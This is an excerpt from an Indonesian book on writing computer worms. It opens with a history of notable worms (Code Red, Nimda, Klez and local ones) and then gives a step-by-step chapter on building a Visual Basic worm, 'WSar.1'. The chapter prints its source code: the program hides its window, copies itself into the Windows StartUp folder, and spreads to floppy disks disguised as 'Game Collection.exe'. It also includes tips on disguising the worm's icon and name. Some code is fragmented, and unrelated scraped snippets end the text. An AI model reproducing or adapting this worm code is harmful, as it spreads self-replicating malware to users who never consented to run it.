Dibulan Oktober 2000, worm Hybris menyebar dengan e-mail

ber-attachment. Jika dieksekusi akan memodifikasi file WSOCK32.DLL

dalam rangka menjejaki semua lalu lintas ber-internet. Untuk setiap e-mail yang terkirim worm akan mengirimkan salinan dirinya ke alamat penerima yang sama. Yang menarik dari worm ini yaitu; bisa

men-download file update untuk dirinya sendiri dari newsgroup "alt.

(31)

Bab 2. Mengenal Worm

2.5.10 ANNA KOURNIKOVA

Pada bulan Februari 2001, kembali sebuah worm mencemaskan para pengguna internet, yang memanfaatkan kepopuleran

seorang petenis asal Rusia "Anna Kournikova". Worm ini dibawa dalam suatu attachment e-mail yang

menyatakan bahwa lampiran tersebut adalah file gambar dalam bentuk file jpg yang memuat foto pemain tenis tersebut. Apabila file tersebut

dieksekusi maka akan mengirimkan salinan dirinya kepada setiap nama yang terdaftar pada buku alamat Microsoft Outlook.

2.5.11 SADMIND

Pada bulan Mei 2001, worm Sadmind menyebar dengan mentargetkan 2 vulnerability (kelemahan) pada 2 sistem operasi yang berbeda, dan menjadi teladan untuk worm berikutnya yang bisa melakukan serangan dengan berbagai kombinasi. Pertama kali yang dilakukannya adalah

meng-eksploitasi vulnerability buffer overflow pada sistem operasi

Sun Solaris, dan menginstal suatu program agar bisa melakukan komunikasi dengan IIS webserver guna melakukan suatu serangan. Vulnerability ini kemudian diumumkan pada tanggal 18 Juni 2001, yang menunjuk sebagai vulnerability pada Index Server ISAPI.

2.5.12 CODE RED

Memanfaatkan vulnerability pada Index Server ISAPI tersebut, pada tanggal 12 Juli 2001 muncul sebuah worm dengan nama "Code Red" yang menyerang semua IIS webserver, dengan aksi mengubah tampi-lan awal website pada server yang tertular.

(32)

disusun-18

Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 2. Mengenal Worm

Microsoft Windows maka worm akan meng-eksploitasi server target tersebut, dan melakukan deface (mengubah halaman awal suatu web-site) dengan tampilan "Welcome to the www.worm.com ! hacked by Chinese!."

Berikutnya worm mencari file c:\notworm. Worm tidak akan meng-hentikan serangannya jika file tersebut tidak ditemukan. Pada tanggal

20 Juli worm akan melakukan serangan DOS (denial of service) pada server www.whitehouse.gov, kemudian pada tanggal 27 worm mem-buat dirinya dalam kondisi dormant (fase saat worm menjadi tidak aktif) secara permanen.

Tidak begitu lama pada tanggal 19 Juli 2001, muncul Code Red I yang merupakan versi kedua dari worm Code Red dengan penyebaran yang lebih cepat. Banyak perbaikan pada program worm sehingga mampu menginfeksi 359.000 unit komputer hanya dalam waktu 14 jam, seperti versi pertama worm ini juga membuat dirinya dalam kondisi dormant pada tanggal 20 Juli secara permanen.

Di bulan Agustus 2001, kembali Code Red muncul dengan versi ber-beda "Code Red II", muncul dengan payload yang sangat berbahaya. Worm ini masih memanfaatkan vulnerability yang sama dengan versi sebelumnya, sedikit perubahan pada program, worm ini akan mem-buat suatu trojan "explorer.exe" dan ditempatkan pada direktori root.

2.5.13 NIMDA

Tanggal 18 September 2001, worm Nimda adalah worm yang termasuk paling banyak menginfeksi komputer di Indonesia, muncul dengan memuat payload yang sangat berbahaya dan menggunakan beragam cara dalam penyebarannya, pada 12 jam pertama saja worm ini sudah berhasil menginfeksi 450.000 unit komputer, dan dalam dua hari Nimda berhasil menginfeksi 2,2 juta komputer serta menyebabkan kerugian sebesar US $ 370 juta.

Walaupun worm ini tidak menggunakan metode baru dalam penye-barannya, tetapi dengan penggabungan beberapa metode dalam suatu worm, menunjukkan adanya tingkatan baru atas kompleksitas yang tidak terlihat sebelumnya. Nimda melakukan penyebaran dengan mengirimkan salinan dirinya melalui e-mail dengan subjek random

(33)

Bab 2. Mengenal Worm

Nimda memanfaatkan celah keamanan pada Internet Explorer dan Outlook Express 5.01 dan 5.5 Service Pack 1, dimana e-mail yang dikirimkan Nimda berupa halaman html yang memiliki body script

tertentu dengan tujuan akan secara otomatis mengaktifkan file attach -ment walaupun e-mail tersebut hanya dilihat pada preview pane saja.

Bila komputer terinfeksi berada dalam suatu jaringan maka secara oto-matis Nimda mencari direktori yang di sharing dari komputer lain dan memberikan hak tulis penuh (full access) kemudian membuat salinan dirinya ke dalam direktori-direktori tersebut, dengan mengambil nama

file secara random pada daftar file yang ada pada komputer terinfeksi,

dengan menggunakan ekstensi EML atau NWS.

Pada server yang terinfeksi, file-file halaman web akan disisipkan script baru yang secara otomatis mengakses file readme.eml saat halaman

web tersebut dibuka. Dalam penyebarannya, Nimda juga memanfaat-kan backdoor pada server yang terinfeksi CodeRed2 atau Sadmind.

Banyaknya perubahan pada file system dan registry membuat worm

ini sulit untuk dibersihkan.

2.5.14 BADTRANS.B

Pada bulan November 2001, BadTrans kembali beraksi setelah kemun-culan perdananya pada tanggal 12 April 2001 dengan teknik yang lebih canggih dan bisa dikatakan sebagai era baru dalam social engineering.

BadTrans.B memeriksa direktori inbox pada aplikasi Outlook dengan mencari e-mail yang belum dibuka oleh user, kemudian membalas

e-mail tersebut dengan file attachment berupa salinan dirinya sendiri.

Seperti Nimda, e-mail yang dikirimkan berupa halaman html dan

se-cara otomatis mengaktifkan file attachment walaupun e-mail tersebut

hanya dilihat pada preview pane saja. Pada proses pengiriman e-mail BadTrans.B menambahkan underscore (tanda garis bawah) "_" disetiap awal alamat pengirim, sehingga apabila e-mail tersebut di-reply (balas) maka e-mail balasan tersebut tidak akan sampai pada alamatnya.

(34)

20

Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 2. Mengenal Worm

2.5.15 KLEZ

Worm Klez muncul di bulan Oktober 2001, seperti worm lainnya worm ini pun menggunakan kelemahan IE dan OE sehingga worm tereksekusi dengan sendirinya walau hanya dilihat pada preview pane saja.

Klez hanya menggunakan sarana e-mail dalam penyebarannya. Klez menyatukan suatu keunikan dengan pendekatan sosial yang inovatif, dengan memilih salah satu alamat e-mail yang ada pada komputer terinfeksi dan menggunakan alamat tersebut sebagai alamat pengirim, kemudian mengirimkan salinan dirinya ke seluruh alamat e-mail yang lain. Dengan cara ini terlihat, seolah-olah e-mail dikirim oleh seseorang yang benar-benar dikenal oleh penerima.

Tanggal 11 Nopember 2001, dilaporkan kembali varian lain dari worm tersebut. Klez.d memiliki rutin baru yang akan memeriksa database alamat e-mail dari pengguna ICQ sebagai target pengiriman. Saat dieksekusi worm menginstal dirinya kedalam direktori System

Win-dows dengan nama file "WinSvc.exe" dan melakukan modifikasi pada

registry sehingga worm akan aktif saat komputer dihidupkan.

Varian lainnya muncul dengan nama Klez.e dan dilaporkan pada tanggal 17 Januari 2002. Saat dieksekusi worm akan menginstal dirinya

kedalam direktori System Windows dengan nama file "WINK???.EXE", dimana ??? adalah variabel random berupa angka 2 dan 3. Seperti Klez. d worm ini juga memodifikasi registry dengan alasan yang sama,

Selain itu worm ini juga telah dipersenjatai dengan pembunuh pro-gram antivirus yang bisa mendeteksi Nimda, Code Red, Sircam dan Fun Love.

Pada varian selanjutnya, e-mail tidak hanya terlihat berasal dari seorang teman tetapi klez menyisipkan sebuah tool "imunitas" sebagai attach-ment dan penerima diajarkan untuk menon-aktifkan antivirus mereka agar bisa menjalankan tool tersebut, dengan mengikuti petunjuk terse-but, dan saat attachment tersebut dieksekusi maka sebenarnya user malah menginstal Klez serta virus ElKern pada komputer mereka.

(35)

Bab 2. Mengenal Worm

Akhir tahun 2003 kembali dilaporkan varian Klez.H sebagai ancaman, walaupun sukar menentukan besar kerugian yang ditimbulkan, tetapi diperkirakan Klez dan varian-nya menimbulkan kerugian sebesar US $ 9 milyar.

2.5.16 SLAMMER

Serangan worm Slammer dimulai pada tanggal 23 Januari 2003, worm yang hanya berukuran 369 byte ini menjadikan Slammer sebagai worm dengan ukuran terkecil yang pernah ada. Cara kerja worm ini hampir

sama dengan CodeRed, dan tidak memodifikasi registry.

Slammer memanfaatkan vulnerability yang ditemukan oleh Next Generation Security Software Limited pada bulan Juli 2002 dimana dengan memanfaatkan vulnerability ini, penyerang dapat menguasai SQL Server dan kode pemrograman yang berhasil dimasukkan akan berjalan sebagai system karena hak dari MS SQL Server di dalam komputer adalah system. Worm ini bukan merupakan mass mailer dan hanya menyebarkan dirinya melalui scanning port 1434.

2.5.17 BAGLE

Di minggu ketiga Januari 2004, sebuah worm yang disinyalir berasal dari Jerman ternyata sukses meraih peringkat pertama sebagai worm yang paling banyak dihentikan. Worm yang kemudian diketahui ber-nama Bagle ini memiliki siklus hidup yang tergolong singkat, Bagle memasuki fase dormant secara permanen pada tanggal 28 Januari 2004

dan berusaha untuk menghapus file launcher-nya.

Bagle memiliki ukuran file sebesar 15 Kb, dan melakukan penyebaran dengan cara mengirimkan file infector melalui e-mail ber-attachment, dengan tujuan pengiriman yang dikoleksi dari file-file berekstensi txt,

htm, html dan wab pada sistem lokal.

Saat file infector dieksekusi, Bagle membuat salinan file worm pada

(36)

22

Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 2. Mengenal Worm

2.5.18 NETSKY

Tidak begitu lama setelah kemunculan worm Bagle, sebuah worm lainnya menyebar dengan kecepatan yang lebih tinggi. Worm Netsky melakukan penyebaran dengan cara yang sama seperti yang dilakukan worm Bagle, hanya saja Netsky memiliki beberapa rutin yang memung-kinkan dirinya dapat melakukan penyebaran dengan menggunakan media aplikasi peer to peer.

Netsky mengirimkan salinan dirinya melalui sebuah e-mail

ber-attach-ment dan dalam bentuk file terkompresi. File worm berukuran sebesar

22 Kb dan menggunakan icon yang disamarkan sehingga terlihat

sebagai sebuah file dokumen Microsoft Word.

Saat file infector dieksekusi Netsky membuat salinan file worm pada direktori Windows dengan nama file 'services.exe’, kemudian me -manipulasi beberapa nilai registry yang bertujuan agar worm dapat tereksekusi setiap kali Windows startup.

2.6 PERKEMBANGAN WORM LOKAL

Berikut ini beberapa catatan singkat tentang worm lokal yang pernah ada dan dibuat oleh worm writer asal Indonesia.

2.6.1 I-WORM PERKASA

Pada bulan 6 Desember 2001 muncul sebuah worm lokal. Worm yang terkompresi dengan UPX ini memiliki ukuran sebesar 12,288 Kb dan dibuat dengan menggunakan program Visual Basic.

Worm yang juga disebut dengan nama I-Worm.Imelda atau I-Worm Updater ini menggunakan media Microsoft Outlook dalam

penye-barannya, saat file infector dieksekusi worm ini meng-copy dirinya ke

(37)

Bab 2. Mengenal Worm

2.6.2 PESIN

Worm lokal lainnya muncul dipertengahan bulan September 2003 dengan menggunakan icon Microsoft Word. Worm yang terkompresi dengan ASPack ini juga sering dipanggil dengan sebutan Kenangan, Puisi Cinta, Hallo, Mistery atau MyHeart. Hal ini disebabkan karena

worm Pesin menggunakan nama-nama tersebut sebagai nama dari file

infector.

Worm Pesin menggunakan media disket dalam proses penyebaran, hal ini sangat efektif mengingat penggunaan disket masih sangat diminati oleh pengguna komputer di Indonesia.

Saat file infector dieksekusi worm ini meng-copy dirinya ke direktori

Windows dengan nama 'SysTask.exe’, Pesin juga membuat salinan pada

direktori My Documents dengan nama file 'MyHeart.exe’ kemudian

menambahkan suatu nilai registry pada sub key 'Run’ agar worm ini tetap aktif saat Windows startup, yang menarik dari worm ini adalah worm akan menonaktifkan program Registry Editor jika user berusaha untuk menjalankannya.

2.6.3 TABARU

Pada awal januari 2005 kembali diketahui sebuah worm lokal yang membawa-bawa nama pembawa acara Jejak Petualang di TV7 yaitu

Ri-yanni Djangkaru. Worm ini memiliki ukuran file sebesar 40 Kb dengan icon yang disamarkan sehingga terlihat seperti file jpg.

Saat file infector dieksekusi worm membuat dua file, yaitu file 'xpshare.exe’ pada direktori 'C:\!submit’ dan file 'riyani_jangkaru.exe’ pada root direktori ’C:\’, kemudian menambahkan value 'winloader’

(38)

24

Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 2. Mengenal Worm

2.6.4 KANGEN

Pada pertengahan April 2005, suatu worm lokal kembali me-resahkan pengguna komputer, dengan berbekal refrain lagu Kangen (Dewa 19) worm ini sukses menginfeksi ratusan komputer di Indonesia. Seperti worm lokal terdahulu, Kangen juga dibuat dengan Visual Basic, menggunakan icon Microsoft Word dan melakukan penyebaran lewat disket, anehnya worm satu ini sama sekali tidak dikompresi .

Saat file infector dieksekusi worm ini meng-copy dirinya ke direk

-tori System Windows dengan nama 'CCAPPS.EXE’ dengan ukuran file

sebesar 64 Kb, yang menarik dari worm ini adalah worm akan berusaha

menonaktifkan program Task Manager, MS Config dan Registry Edi -tor. Saat buku ini ditulis worm Kangen sudah mencapai varian M.

2.6.5 KUMIS

Diawal bulan Juli 2005, seorang worm writer yang konon terinspirasi oleh seorang dosennya yang berkumis tebal membuat worm yang ke-mudian disebut dengan worm Kumis. Worm ini berukuran sebesar 76 Kb dan dikhususkan untuk sistem operasi Windows XP dan Win-dows Server 2003.

Saat file infector dieksekusi worm ini membuat salinan dirinya ke

(39)

Bab 2. Mengenal Worm

2.6.6 DECOIL

Worm Decoil yang juga sering disebut Decoy ini muncul di penghujung

tahun 2005, worm lokal ini menyembunyikan file dokumen Microsoft

Word dan membuat salinan dengan nama yang persis dengan nama

file yang disembunyikan.

Saat file infector dieksekusi worm ini meng-copy dirinya ke direktori

Windows dengan nama 'lExplorer.exe’, pada direktori System

Win-dows dan sub direktori '\i75-d2’ dengan nama file 'dkernel.exe’. Decoy

tergolong worm dengan ukuran yang sangat besar yaitu sebesar 154 Kb

(besar file ini setelah dikompres dengan UPX).

2.6.7 RONTOKBRO

Diawal bulan Oktober 2005, pengguna komputer di Indonesia kembali dikejutkan oleh sebuah worm lokal yang sudah menggunakan smtp

sendiri dalam mengirimkan file infector-nya dan selektif dalam pemili -han alamat e-mail target.

Worm yang diisukan sebagai worm lokal ter-anyar yang pernah ada ini ternyata dibuat dalam bahasa Visual Basic , RontokBro juga memblokir aplikasi Registry Editor dan memonitor caption pada aplikasi browser, jika suatu string tertentu ditemukan oleh RontokBro maka komputer akan di-restart secara otomatis.

2.6.8 NOBRON

Tidak begitu lama setelah kemunculan RontokBro, worm yang ke-mudian dikenali dengan nama W32/Nobron.A@mm oleh Norman Virus Control ini berusaha untuk membersihkan system dari worm

RontokBro, Nobron memiliki ukuran file sebesar 84 Kb. Worm juga berusaha untuk menonaktifkan aplikasi Registry Editor, MS Config,

Task Manager dan CMD.

Saat file infector dieksekusi worm ini meng-copy dirinya ke direktori

(40)

26

Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 2. Mengenal Worm

2.6.9 RUNITIS

Pada akhir bulan Nopember 2005, kembali diketahui sebuah worm lokal dengan ukuran

file sebesar 164 Kb dan telah dikompres dengan

aplikasi ASPack. Worm ini menggunakan nama yang diambil dari nama seorang penyanyi dari Malaysia yaitu Siti Nurhaliza (Runitis jika dibaca terbalik menjadi Sitinur).

Runitis menggunakan icon Internet Explorer dalam penyebarannya. Worm ini menghapus

file program regedit.exe (Registry Editor), msconfig.exe (MS Config),

wmplayer.exe (Windows Media Player), winamp.exe dan winampa.

exe (Winamp) serta beberapa file program lainnya kemudian membuat

salinan dirinya dengan nama dan letak yang sama, sehingga user malah akan menjalankan worm apabila mengeksekusi aplikasi-aplikasi tersebut.

2.6.10 BLUEFANTASY

Di akhir bulan Januari 2006, sebuah worm lokal bernama BlueFantasy ikut berlomba dengan worm lainnya, walaupun worm yang berukuran 68 Kb ini tidak melewati proses enkripsi dan kompresi namun Blue-Fantasy mempertahankan ciri khas worm komputer yang membuat banyak salinan, dengan cara memonitor direktori aktif dan membuat salinan pada direktori tersebut.

Saat file infector dieksekusi BlueFantasy meng-copy dirinya ke direktori System Windows dengan nama file 'Win32.com’ dan menggunakan

atribut Hidden, selain itu worm juga membuat salinan pada direktori Desktop, My Documents, dan StartUp. Kemudian worm memanipulasi

suatu nilai registry yang akan membuat file worm tetap tereksekusi saat Windows startup, dan membuat type file executable seperti exe

(41)

Bab 2. Mengenal Worm

2.6.11 ROMDIL

Pertengahan bulan Februari 2006, sebuah worm lokal lainnya muncul dan dideteksi Norman Virus Control sebagai w32/Romdil, seperti kebanyakan worm lokal, worm inipun dibuat dengan menggunakan bahasa Visual Basic.

Worm Romdil memiliki ukuran file sebesar 40 Kb untuk varian A

dan sebesar 41 Kb untuk varian B, worm ini telah dikompres dengan menggunakan aplikasi UPX, Selain itu worm ini menggunakan icon

dengan gambar Folder, dan disamarkan sebagai file aplikasi Windows

Explorer.

Untuk bertahan pada suatu system, Romdil berusaha untuk mencegah

user mengeksekusi aplikasi CMD (command prompt), MS Config,

Registry Editor, Task Manager, dan beberapa fasilitas Windows seperti Search dan Run.

2.6.12 MYBRO

Di bulan Maret 2006, sebuah varian lain dari worm RontokBro kembali di-release dan diperkirakan dibuat dengan menggunakan bahasa C.

MyBro memiliki ukuran file sebesar 51 Kb dan menggunakan icon

dengan gambar Folder.

Worm MyBro diperkirakan menggunakan / meniru source code worm yang sudah ada sehingga pola worm tersebut dapat terdeteksi dengan mudah oleh teknologi SandBox dari Norman Virus Control.

Untuk bertahan pada suatu system, MyBro berusaha untuk mematikan service antivirus dari Norman, TrendMicro, Norton, McAfee, AVG, Bit Defender, Panda dan PC Cilin. Selain itu MyBro berusaha untuk

menghapus file Microsoft Visual Basic Virtual Machine yang akan

(42)

28

Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 2. Mengenal Worm

2.6.13 IRCBOT.AQF

Dibuat pada awal tahun 2006 dan mulai dikenal pada bulan April 2006, worm IRCBot menyebar dengan memuat sebuah pesan yang ditujukan pada Presiden. Worm yang berasal dari Borneo alias Kalimantan ini ti-dak berusaha untuk mematikan proses Task Manager ataupun Registry Editor sebagai metode life defender, namun sebagai gantinya IRCBot menggunakan metode Watcher yang terbilang masih baru pada awal

tahun 2006, yang akan me-restart komputer jika proses salah satu file

launcher dimatikan. File worm berukuran 32 Kb dan menggunakan

icon file dokumen Microsoft Word.

2.6.14 LIGHTMOON

Worm dengan nama sebutan yang bisa memiliki arti sebagai bulan purnama ini, menyebar dipenghujung April 2006 dengan barisan puisi yang terinspirasi dari bulan purnama. LightMoon menggunakan icon

folder dan memiliki ukuran file sebesar 39 Kb, umumnya memiliki

beberapa kesamaan teknik dengan worm lokal lainnya, hanya saja

LightMoon ini akan mengalihkan akses dari fungsi MS Config, Registry Editor, Task Manager dan Command Prompt pada file launcher worm,

(43)

Bab 7. Worm WSar.1

BAB 7

WORM WSar.1

Kenapa bab ini ada?

(44)

104

Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 7. Worm WSar.1

B

anyak jalan menuju Roma, mungkin ungkapan ini tidak berlaku pada proses hacking saja tetapi juga sangat cocok apabila ungka-pan ini digunakan dalam proses pembuatan suatu worm.

Sudah menjadi suatu rahasia umum dimana para worm writer selalu mencari vulnerability baru karena vulnerability lama kebanyakan su-dah memiliki patch untuk memperbaiki celah tersebut, baik dari vendor antivirus maupun dari vendor aplikasi atau sistem operasi itu sendiri. Teknik yang dibuatpun menjadi beragam, penulis sendiri menemukan beberapa trik yang akan dipaparkan pada bab ini.

Sebagai persiapan awal untuk membuat suatu worm, virus atau malcode lain, ada beberapa ketentuan yang harus diperhatikan:

1. Jika memungkinkan, sangat disarankan untuk menggunakan kom-puter tersendiri yang khusus digunakan untuk keperluan ini, dan tidak digunakan oleh banyak orang

2. Gunakan program pembantu seperti Shad-owUser atau DeepFreeze,. Program ini akan membatalkan setiap perubahan yang dilaku-kan bahdilaku-kan perubahan yang terjadi pada boot sector, sehingga walaupun partisi pada harddisk tak sengaja terformat oleh worm, hanya dengan me-restart komputer maka segalanya akan kembali seperti semula.

Program ini hanya mengembalikan perubahan pada saat komputer di restart, jadi jika ternyata perlu me-restart komputer untuk melihat efek perubahan dari suatu worm, maka cukup dengan melakukan Log Off dan kemudian Log In kembali, karena proses ini akan men-imbulkan efek yang sama dengan restart komputer.

Untuk program DeepFreeze disarankan agar membuat partisi lebih dari satu, misalnya dengan membuat dua partisi dimana partisi C: sebagai drive System Windows dan partisi D: sebagai drive data, kemudian instalkan DeepFreeze hanya pada drive C: saja sehingga data source code yang tersimpan pada drive D: tidak terganggu oleh

DeepFreeze. Sementara untuk program ShadowUser lebih flexibel.

(45)

Bab 7. Worm WSar.1

3. Gunakan program pembantu seperti Virtual PC atau VMWare,. Program ini akan mensimulasikan suatu komputer maya sekaligus dengan jaringannya. Kita dapat membuat suatu lab komputer dengan sistem operasi yang berbeda sekaligus.

Keuntungan lain ternyata kita bisa membuat clonning dari suatu komputer

virtual, sehingga apabila system suatu komputer virtual sudah tidak bisa diselamatkan lagi, kita dapat mengganti baru dengan backup clonning yang sudah kita siapkan. Lagi pula kita tidak perlu berpindah-pindah tempat untuk mengoperasikannya.

Penulis juga menyarankan agar menggunakan aplikasi Visual Basic 6.0 Enterprise, karena untuk versi lain seperti Visual Basic 6.0 Learning Edition penulis menemukan batasan-batasan dan ada fasilitas yang tidak bisa digunakan.

7.1 WORM DASAR 1

Suatu worm dasar dapat dipandang sebagai satu set instruksi berisi sedikitnya tiga sub-rutin yang terpasang.

• Sub-rutin yang pertama berfungsi untuk melakukan penularan dengan cara membuat clonning (salinan) dirinya sendiri pada suatu system komputer, media penyimpanan atau melalui suatu jaringan.

• Sub-rutin yang kedua berfungsi sebagai live defender (rutin untuk bertahan hidup), yang akan memastikan suatu worm tetap eksis pada suatu host system

(46)

106

Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 7. Worm WSar.1

7..2 ALGORITMA

Worm ini bernama WSar.1 (worm dasar 1) yang menggunakan icon dengan gambar sebuah folder dan nama yang unik agar menarik minat user untuk mengeksekusinya, merupakan worm yang sangat sederhana sekali, sehingga hanya dapat menginfeksi sistem operasi Windows 9x dan ME yang terinstal secara default pada drive C. WSar.1 memiliki rutin-rutin yang akan melakukan tindakan sebagai berikut:

1. Melakukan pemeriksaan terhadap eksistensi worm itu sendiri pada system komputer

2. Jika worm tidak mendapatkan eksistensinya maka worm akan melakukan reproduksi dengan menciptakan salinan dirinya pada direktori StartUp pada Startmenu

3. Setiap 1 menit berusaha untuk membuat salinan worm ke disket pada drive A

4. Setiap tanggal 13 bulan Oktober akan menampilkan pesan "WSar.1

Ada Pada Komputer Anda" dan menghentikan segala aktifitas

worm pada hari tersebut.

7.3 PEMROGRAMAN

(47)

Bab 7. Worm WSar.1

Visual basic secara otomatis m e m b e r i k a n sebuah project dengan nama default Project1 dan sebuah form di dalam-nya dengan nama default Form1.

(48)

108

Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 7. Worm WSar.1

Akan tampil kotak dialog Project Properties dan berada pada tab General.

Ganti Project Name dari nama Project1 menjadi nama worm yaitu: WSar.

Dalam pengisian Project Name, tidak boleh meng-gunakan spasi, tanda titik, tanda koma atau karakter spesial lainnya.

Untuk melanjutkan pin-dah ke menu Make den-gan mengklik tab Make.

Ganti Application Title dari nama Project1 menjadi nama worm yaitu: WSar.1 kemudian hapus value untuk setiap Type pada frame Version Information, terutama untuk Type Company Name.

Tentunya Anda tidak ingin nama perusahaan tempat Anda bekerja menjadi terkenal oleh worm ini bukan  ?

(49)

Bab 7. Worm WSar.1

Pilih opsi Compile to P-Code. Opsi ini akan membuat program yang dihasilkan berukuran lebih kecil daripada meng-gunakan opsi Compile to Native Code. Akhiri dengan menekan tombol OK.

Langkah kedua adalah mengatur properties pada form, dengan mengklik nama form pada jendela Project Explorer.

(50)

110

Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 7. Worm WSar.1

Kemudian atur jenis properti berikut ini pada Form1:

Jenis Nilai Keterangan

Name frmWSar1 Mengatur nama form menjadi frmWSar1 Icon (Icon) Pilih icon yang akan digunakan pada

form, WSar.1 menggunakan icon folder. ico

ShowInTaskbar False Tidak menampilkan form pada taskbar Visible False Tidak menampilkan form pada layar.

Langkah ketiga adalah menambahkan object Timer pada form yang bertujuan untuk melakukan perulangan terhadap instruksi tertentu tanpa memerlukan suatu interaksi oleh user.

Untuk itu klik ganda object Timer pada toolbox yang akan membuat sebuah object Timer dengan nama default Timer1, kemudian atur jenis properti berikut ini pada Timer1:

Jenis Nilai Keterangan

Name tmrWSar Mengatur nama Timer menjadi tmrWSar Enable True Pastikan Timer akan aktif saat form di-load Interval 60000 Setiap instruksi pada procedure Timer akan

dieksekusi setiap 1 menit

(51)

Bab 7. Worm WSar.1

Ketik kode program berikut ini:

'WSar.1 by Achmad Darmal

'Tarakan, Kalimantan Timur - Indonesia Option Explicit On

Private Sub Form_Load() On Error Resume Next

If App.PrevInstance = True Then End

If Len(Dir$("C:\WINDOWS\Start Menu\Programs\StartUp\Syst" & _ "em File.exe")) = 0 Then

FileCopy(WormFile, "C:\WINDOWS\Start Menu\Programs\Star" & _ "tUp\System File.exe")

(52)

112

Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 7. Worm WSar.1

Berikut penjelasan tentang kode program:

'WSar.1 by Achmad Darmal

'Tarakan, Kalimantan Timur – Indonesia Option Explicit

Dua baris teratas adalah baris komentar, diawali dengan single quote. Biasanya digunakan untuk memberi keterangan tentang program atau apapun yang ingin programmer sampaikan kepada pengguna kode tersebut. Statement Option Explicit pada baris ketiga memastikan agar seluruh variabel dideklarasikan.

Private Sub Form_Load()

Baris ini menandakan awal dari sebuah procedure, dalam hal ini adalah procedure yang akan dikerjakan pada event Form_Load, suatu kejadian saat form diaktifkan untuk pertama kali atau sesaat sebelum ditampilkan.

On Error Resume Next

Statement ini akan sangat berguna apabila terjadi suatu kesalahan, karena program akan mengacuhkan kesalahan tersebut dan kemudian mengakses instruksi setelahnya.

If App.PrevInstance = True Then End

Jika file aplikasi yang sama sudah berjalan maka akhiri proses pengek

-sekusian file tersebut. Statement ini berguna untuk mencegah suatu file

aplikasi yang sama dieksekusi lebih dari satu kali.

If Len(Dir$("C:\WINDOWS\Start Menu\Programs\Star" & _ "tUp\System File.exe")) = 0 Then

Jika banyak karakter dalam pencarian "C:\WINDOWS\Start Menu\ Programs\StartUp\System File.exe" adalah 0 (nol) maka file tersebut tidak ditemukan (sebaliknya akan menghasilkan nilai 15 jika file terse

-but ditemukan. Nilai 15 berasal dari jumlah karakter pada nama file),

(53)

Bab 7. Worm WSar.1

FileCopy WormFile, "C:\WINDOWS\Start Menu\Prog" & _ "rams\StartUp\System File.exe"

FileCopy adalah function untuk membuat salinan suatu file. WormFile mewakili nama main file (file utama) yang terproses. WormFile adalah suatu function untuk mendapatkan full path (alamat penuh) file utama, Sedangkan "C:\WINDOWS\StartMenu\Programs\StartUp\System File.ex e" adalah lokasi dan nama file untuk tujuan penyalinan file,

If App.Path = "A:\" Or App.Path = "B:\" Then Unload Me

End If

Jika path file utama pada drive A atau pada drive B maka akhiri aplikasi. Statement ini bertujuan untuk mencegah file worm yang berada pada

disket bertahan di memory. Hal ini sebaiknya juga dilakukan untuk setiap removable disk, seperti disket dan usb disk. Akhirnya, End If digunakan untuk menutup statement If sebelumnya.

End Sub

Statement End Sub berfungsi untuk mengakhiri procedure Form_Load.

Private Sub tmrWSar_Timer() On Error Resume Next

If Len(Dir$("A:\Game Collection.exe")) = 0 Then FileCopy(WormFile, "A:\Game Collection.exe") End If

If Day(Now) = 13 And Month(Now) = 10 Then MsgBox("WSar.1 Ada Pada Komputer Anda") Unload(Me)

End If End Sub

Memulai suatu procedure baru terhadap object tmrWSar (Timer), men-gacuhkan error apabila terjadi dan mengeksekusi instruksi setelahnya.

(54)

114

Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 7. Worm WSar.1

ber) maka tampilkan pesan "WSar.1 Ada Pada Komputer Anda" serta bersihkan worm dari memory, sehingga untuk hari tersebut worm

tidak akan melakukan aktifitas apapun.

Private Function WormFile() Dim WPath, WName As String WPath = App.Path

If Right(WPath, 1) <> "\" Then WPath = WPath & "\" End If

WName = App.EXEName & ".exe" WormFile = WPath & WName End Function

Function WormFile dibuat untuk mendapatkan path penuh file utama,

dimulai dengan pendeklarasian WPath untuk lokasi dan WName

untuk nama file, kemudian menentukan lokasi file utama dengan func -tion App.Path dan menyimpannya dalam variabel WPath..

Jika satu karakter disebelah kanan nilai variabel WPath tidak sama

dengan "\" maka nilai variabel WPath ditambahkan karakter "\" di -belakangnya, kemudian mengatur nilai variabel WName dengan nilai

berupa nama file utama yang didapat dari function App.EXEName. Karena nama file yang didapatkan dari function ini belum memiliki

ekstensi, maka ditambahkan string ".exe" dibelakangnya, menandakan

file tersebut adalah file executable.

(55)

Bab 7. Worm WSar.1

Kemudian akan tampil kotak dialog Save File As, yang berfungsi untuk menyimpan form, module dan sebagainya yang akan disimpan. Tentukan suatu folder atau buat folder baru dengan mengklik tombol New Folder.

Berikutnya akan tampil kotak dialog Save Project As, yang berfungsi untuk menyimpan project secara keseluruhan.

Langkah terakhir adalah mengkom-pilasi project

menjadi suatu file

(56)

116

Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 7. Worm WSar.1

Isi TextBox File name dengan nama File Exe yang akan dibuat yang

dalam contoh ini bernama WSar.exe. Pilih direktori tempat file tersebut

akan diletakkan. Klik OK untuk memulai proses kompilasi.

Catatan untuk WSar.1 : untuk lokasi direktori StartUp pada Windows 2000 dan XP secara default adalah sebagai berikut:

1. C:\Documents and Settings\Administrator\Start Menu\ Pro

-grams\startup

2. C:\Documents and Settings\All Users\Start Menu\Progra ms\

startup

3. C:\Documents and Settings\Default User\Start Menu\ Programs\

Referensi

Dokumen terkait

&#34;roses pengeluaran sputum dari paruparu, bronkus dan trakea yang dihasilkan oleh klien &#34;roses pengeluaran sputum dari paruparu, bronkus dan trakea yang dihasilkan oleh

Kondisi SM Rimbang Baling sangat memprihatinkan saat ini, dan sangat disayangkan jika pada akhirnya, pemasalahan yang terjadi di kawasan konservasi menyebabkan

